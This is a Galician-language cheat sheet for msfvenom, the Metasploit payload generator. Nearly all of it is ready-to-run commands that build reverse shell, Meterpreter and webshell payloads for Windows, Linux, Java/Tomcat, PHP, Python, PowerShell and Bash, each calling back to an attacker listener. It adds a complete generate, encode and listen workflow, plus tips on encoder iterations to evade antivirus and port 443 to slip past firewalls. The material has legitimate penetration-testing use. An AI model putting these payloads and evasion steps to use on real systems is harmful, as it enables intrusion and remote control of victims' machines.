msfvenom - Xerador de Payloads
Descrición
Ferramenta de Metasploit para xerar payloads personalizados en diferentes formatos e plataformas. Combina as funcionalidades de msfpayload e msfencode.
Sintaxe básica
Opcións principais
| Opción | Descrición |
|---|---|
-p <payload> |
Tipo de payload a xerar |
LHOST=<IP> |
IP do atacante (listener) |
LPORT=<porto> |
Porto do atacante (listener) |
-f <formato> |
Formato de saída (exe, war, aspx, elf, etc.) |
-o <ficheiro> |
Ficheiro de saída |
-e <encoder> |
Encoder para ofuscar payload |
-i <iteracións> |
Número de iteracións do encoder |
-b <bytes> |
Bad bytes a evitar |
-a <arch> |
Arquitectura (x86, x64) |
--platform <SO> |
Plataforma obxectivo |
-l payloads |
Listar payloads dispoñibles |
-l encoders |
Listar encoders dispoñibles |
-l formats |
Listar formatos dispoñibles |
Exemplos de uso
Windows
# Payload reverse shell Windows x64 (EXE)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=8888 \
-f exe \
-o payload.exe
# Payload Meterpreter reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 \
LPORT=443 \
-f exe \
-o meterpreter.exe
# Payload con encoder (ofuscación)
msfvenom -p windows/shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=443 \
-f exe \
-e x86/shikata_ga_nai \
-i 3 \
-o encoded_payload.exe
# Payload ASPX para IIS
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=443 \
-f aspx \
-o shell.aspx
Linux
# Payload reverse shell Linux x64 (ELF)
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=4444 \
-f elf \
-o payload.elf
# Meterpreter Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=192.168.1.100 \
LPORT=443 \
-f elf \
-o meterpreter.elf
Java/Tomcat
# Payload JSP para servidores Java/Tomcat (WAR)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=4444 \
-f war \
-o shell.war
# Shell JSP simple
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=443 \
-f war \
-o webshell.war
PHP
# Payload PHP
msfvenom -p php/reverse_php \
LHOST=192.168.1.100 \
LPORT=4444 \
-f raw \
-o shell.php
# Meterpreter PHP
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.1.100 \
LPORT=443 \
-f raw \
-o meterpreter.php
Python
# Payload Python
msfvenom -p python/shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=4444 \
-f raw \
-o shell.py
# Meterpreter Python
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=192.168.1.100 \
LPORT=443 \
-f raw \
-o meterpreter.py
Outros formatos
# Payload en Base64 (para transferencia)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=8888 \
-f exe | base64 > payload_b64.txt
# Payload en PowerShell
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=443 \
-f psh \
-o shell.ps1
# Payload en Bash
msfvenom -p cmd/unix/reverse_bash \
LHOST=192.168.1.100 \
LPORT=4444 \
-f raw \
-o shell.sh
Listar opcións dispoñibles
# Listar todos os payloads
msfvenom -l payloads
# Listar payloads de Windows
msfvenom -l payloads | grep windows
# Listar encoders
msfvenom -l encoders
# Listar formatos
msfvenom -l formats
Workflow completo
# 1. Xerar payload
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.1.100 \
LPORT=8888 \
-f exe \
-o payload.exe
# 2. Codificar en base64 para transferencia
base64 payload.exe | tee payload_b64.txt
# 3. Iniciar listener en Metasploit
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/shell_reverse_tcp; \
set LHOST 192.168.1.100; \
set LPORT 8888; \
exploit"
Notas adicionais
- Sempre iniciar un listener antes de executar o payload no obxectivo
- Usar encoders (
-e) e iteracións (-i) para evitar detección antivirus - Os payloads Meterpreter ofrecen máis funcionalidades que shells básicas
- Verificar arquitectura do obxectivo (x86/x64) antes de xerar payload
- Para exploits como EternalBlue, xerar payloads con porto 443 para evasión de firewalls